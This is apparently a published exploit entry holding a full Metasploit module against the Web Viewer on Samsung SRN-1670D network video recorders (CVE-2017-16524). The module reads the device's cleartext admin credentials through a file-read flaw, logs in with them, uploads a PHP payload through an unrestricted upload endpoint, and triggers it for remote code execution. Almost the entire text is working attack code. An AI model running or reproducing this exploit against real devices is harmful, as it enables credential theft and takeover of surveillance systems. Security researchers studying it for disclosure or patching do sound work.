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| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 | # Exploit Title: Unrestricted file upload vulnerability - Web Viewer 1.0.0.193 on Samsung SRN-1670D # Date: 2017-06-19 # Exploit Author: Omar MEZRAG - 0xFFFFFF / www.realistic-security.com # Vendor Homepage: https://www.hanwhasecurity.com # Version: Web Viewer 1.0.0.193 on Samsung SRN-1670D # Tested on: Web Viewer 1.0.0.193 # CVE : CVE-2017-16524 ## ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'digest' class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::PhpEXE def initialize(info = {}) super(update_info(info, 'Name' => 'Samsung SRN-1670D - Web Viewer Version 1.0.0.193 Arbitrary File Read & Upload', 'Description'=> %q{ This module exploits an Unrestricted file upload vulnerability in Web Viewer 1.0.0.193 on Samsung SRN-1670D devices: 'network_ssl_upload.php' allows remote authenticated attackers to upload and execute arbitrary PHP code via a filename with a .php extension, which is then accessed via a direct request to the file in the upload/ directory. To authenticate for this attack, one can obtain web-interface credentials in cleartext by leveraging the existing Local File Read Vulnerability referenced as CVE-2015-8279, which allows remote attackers to read the web interface credentials via a request for the cslog_export.php?path=/root/php_modules/lighttpd/sbin/userpw URI. }, 'Author' => [ 'Omar Mezrag <omar.mezrag@realistic-security.com>',# @_0xFFFFFF 'Realistic Security', 'Algeria' ], 'License'=> MSF_LICENSE, 'References' => [ [ 'CVE', '2017-16524' ], [ 'URL', 'https://github.com/realistic-security/CVE-2017-16524' ], [ 'CVE', '2015-8279' ], [ 'URL', 'http://blog.emaze.net/2016/01/multiple-vulnerabilities-samsung-srn.html' ] ], 'Privileged' => true, 'Arch' => ARCH_PHP, 'Platform' => 'php', 'Targets'=> [ ['Samsung SRN-1670D == 1.0.0.193', {}] ], 'DefaultTarget'=> 0, 'DisclosureDate' => 'Mar 14 2017' )) register_options( [ OptString.new('RHOST', [ true, 'The target address.' ]), OptString.new('RPORT', [ true, 'The target port (TCP).', '80' ]), ]) end def check # print_status('Checking version...') resp = send_request_cgi({ 'uri' =>"/index", 'version' => '1.1', 'method' => 'GET', 'headers' => { 'User-Agent' => "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)" } }) unless resp print_error("Connection timed out.") return Exploit::CheckCode::Unknown end #<!--------------------------------- File Version 1.0.0.193 ---------------------------------> version = nil if resp and resp.code == 200and resp.body.match(/Web Viewer for Samsung NVR/) if resp.body =~ /File Version (\d+\.\d+\.\d+\.\d+)/ version = $1 if version == '1.0.0.193' print_good "Found vesrion: #{version}" return Exploit::CheckCode::Appears end end end Exploit::CheckCode::Safe end def exploit print_status('Obtaining credentails...') resp = send_request_cgi({ 'uri' =>"/cslog_export.php", 'version' => '1.1', 'method' => 'GET', 'vars_get'=> { 'path' => '/root/php_modules/lighttpd/sbin/userpw', 'file' => 'foo' }, 'headers' => { 'User-Agent' => "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)" } }) unless resp print_error("Connection timed out.") return Exploit::CheckCode::Unknown end if resp and resp.code == 200 and resp.body !~ /Authentication is failed/ and resp.body !~ /File not found/ username =resp.body.split(':')[0] password =resp.body.split(':')[1].gsub("\n",'') print_good "Credentials obtained successfully: #{username}:#{password}" data1 = Rex::Text.encode_base64("#{username}") data2 = Digest::SHA256.hexdigest("#{password}") randfloat= Random.new data3 =randfloat.rand(0.9) data4 = data3 print_status('Logging...') resp = send_request_cgi({ 'uri' =>"/login", 'version' => '1.1', 'method' => 'POST', 'vars_post'=> { 'data1' => data1, 'data2' => data2, 'data3' => data3, 'data4' => data4 }, 'headers' => { 'User-Agent' => "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)", 'DNT' => "1", 'Cookie' => "IESEVEN=1" } }) unless resp print_error("Connection timed out.") return Exploit::CheckCode::Unknown end if resp and resp.code == 200and resp.body !~ /ID incorrecte/and resp.body =~ /setCookie\('NVR_DATA1/ print_good('Authentication Succeeded') nvr_d1 = $1 if resp.body =~ /setCookie\('NVR_DATA1', '(\d\.\d+)'/ nvr_d2 = $1 if resp.body =~ /setCookie\('NVR_DATA2', '(\d+)'/ nvr_d3 = $1 if resp.body =~ /setCookie\('NVR_DATA3', '(0x\h\h)'/ nvr_d4 = $1 if resp.body =~ /setCookie\('NVR_DATA4', '(0x\h\h)'/ nvr_d7 = $1 if resp.body =~ /setCookie\('NVR_DATA7', '(\d)'/ nvr_d8 = $1 if resp.body =~ /setCookie\('NVR_DATA8', '(\d)'/ nvr_d9 = $1 if resp.body =~ /setCookie\('NVR_DATA9', '(0x\h\h)'/ cookie = "IESEVEN=1; NVR_DATA1=#{nvr_d1}; NVR_DATA2=#{nvr_d2}; NVR_DATA3=#{nvr_d3}; NVR_DATA4=#{nvr_d4}; NVR_DATA7=#{nvr_d7}; NVR_DATA8=#{nvr_d8}; NVR_DATA9=#{nvr_d9}" payload_name = "#{rand_text_alpha(8)}.php" print_status("Generating payload[ #{payload_name} ]...") php_payload = get_write_exec_payload(:unlink_self=>true) print_status('Uploading payload...') data = Rex::MIME::Message.new data.add_part("2", nil, nil, 'form-data; name="is_apply"') data.add_part("1", nil, nil, 'form-data; name="isInstall"') data.add_part("0", nil, nil, 'form-data; name="isCertFlag"') data.add_part(php_payload, 'application/x-httpd-php', nil, "form-data; name=\"attachFile\"; filename=\"#{payload_name}\"") post_data = data.to_s resp = send_request_cgi({ 'uri'=> normalize_uri('/network_ssl_upload.php'), 'method' => 'POST', 'vars_get' => { 'lang' => 'en' }, 'headers' => { 'User-Agent' => "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)" }, 'ctype'=> "multipart/form-data; boundary=#{data.bound}", 'cookie' => cookie, 'data' => post_data }) unless resp print_error("Connection timed out.") return Exploit::CheckCode::Unknown end if resp and resp.code == 200 print_status('Executing payload...') upload_uri = normalize_uri("/upload/" + payload_name) send_request_cgi({ 'uri'=> upload_uri, 'method' => 'GET' },5) unless resp print_error("Connection timed out.") return Exploit::CheckCode::Unknown end if resp and resp.code != 200 print_error("Failed to upload") end else print_error("Failed to upload") end else print_error("Authentication failed") end else print_error "Error obtaining credentails" end end end |
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